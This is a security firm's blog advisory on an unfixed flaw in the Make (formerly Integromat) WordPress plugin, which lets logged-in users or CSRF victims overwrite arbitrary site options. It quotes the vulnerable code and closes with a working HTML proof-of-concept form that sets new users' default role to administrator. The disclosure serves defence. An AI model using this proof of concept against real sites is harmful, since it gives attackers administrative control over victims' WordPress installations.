Yesterday we had what appeared to be a hacker probing for usage of the Make’s (formerly Integromat) WordPress plugin on our website with the following request:

/wp-content/plugins/integromat-connector/assets/iwc.js

After noticing that, we did our standard checks that we do over a WordPress plugin when it looks like it might be targeted by hackers, to see if there is a vulnerability we should warn customers of our service about. What we immediately found is that through the plugin anyone logged in to WordPress can change arbitrary WordPress options (settings). That would allow them to, for example, create a WordPress account with administrative privileges. Hackers have long done just that sort of thing, so that seems like an obvious target of the hacker.

The homepage of the Make service makes this security claim:

Avoid security breaches and minimize disruptions by identifying incidents immediately.

Despite that, the vulnerability has so far not been fixed in the plugin.

We have updated our Plugin Security Checker to flag code similar to this, so you can check plugins you use to see if they might have similar issues with that tool.

Code That Shouldn’t Exist

In the file /settings/events.php, the plugin registers for the following code to run “before the administration menu loads in the admin“:

4
5
6
7
8
9
10

add_action('admin_menu', function () {
 
	// Saves custom settings (options)
	if (isset($_GET['iwcsets'])) {
		if (!empty($_POST)) {
			foreach($_POST as $key => $val) {
				update_option($key, $val);

That same code is in the file /settings/save.php.

That code passes user input in the form of POST input sent with a request to the update_option() function, which allows update arbitrary WordPress options (settings).

That code simply shouldn’t exist. It appears that it is there to be used to change the plugin’s settings, but instead allows updating any settings. The Make service provides “no-code workflow automation”. It would appear the developers of that, at least those developing their WordPress plugin, don’t have great handling of coding themselves. (The reviews of the plugin suggest it has been poorly coded separate from the security issue.)

Make was purchased in 2020 for a claimed price of over $100 million, yet their owner hasn’t been willing to spend much less to make sure the WordPress plugin was properly. Our current price to do a security of a review of a WordPress plugin it is size is only $100.

The code also lacks basic security in the form or a capabilities check, despite being accessible to those logged in to WordPress, or a nonce check. The lack of a nonce check means this could also be exploited through cross-site request forgery (CSRF).

WordPress Causes Full Disclosure

As a protest of the moderators of the WordPress Support Forum’s continued inappropriate behavior we changed from reasonably disclosing to full disclosing vulnerabilities for plugins in the WordPress Plugin Directory in protest, until WordPress gets that situation cleaned up, so we are releasing this post and then leaving a message about that for the developer through the WordPress Support Forum. (For plugins that are also in the ClassicPress Plugin Directory, we will follow our reasonable disclosure policy.)

You can notify the developer of this issue on the forum as well.

Hopefully, the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that, but considering that they believe that having plugins, which have millions installs, remain in the Plugin Directory despite them knowing they are vulnerable is “appropriate action”, something is very amiss with them (which is even more reason the moderation needs to be cleaned up).

If the moderation is cleaned up, it would also allow the possibility of being able to use the forum to start discussing fixing the problems caused by the very problematic handling of security by the team running the Plugin Directory, discussions which they have for years shut down through their control of the Support Forum.

Update: To clear up the confusion where developers claim we hadn’t tried to notify them through the Support Forum (while at the same time moderators are complaining about us doing just that), here is the message we left for this vulnerability:

Is It Fixed?

If you are reading this post down the road the best way to find out if this vulnerability or other WordPress plugin vulnerabilities in plugins you use have been fixed is to sign up for our service, since what we uniquely do when it comes to that type of data is to test to see if vulnerabilities have really been fixed. Relying on the developer’s information can lead you astray, as we often find that they believe they have fixed vulnerabilities, but have failed to do that.

Proof of Concept

The following proof of concept will change the default role for new users to Administrator, when logged in to WordPress.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/index.php?iwcsets=true" method="POST">
<input type="hidden" name="default_role" value="administrator" />
<input type="submit" value="Submit" />
</form>
</body>

Concerned About The Security of the Plugins You Use?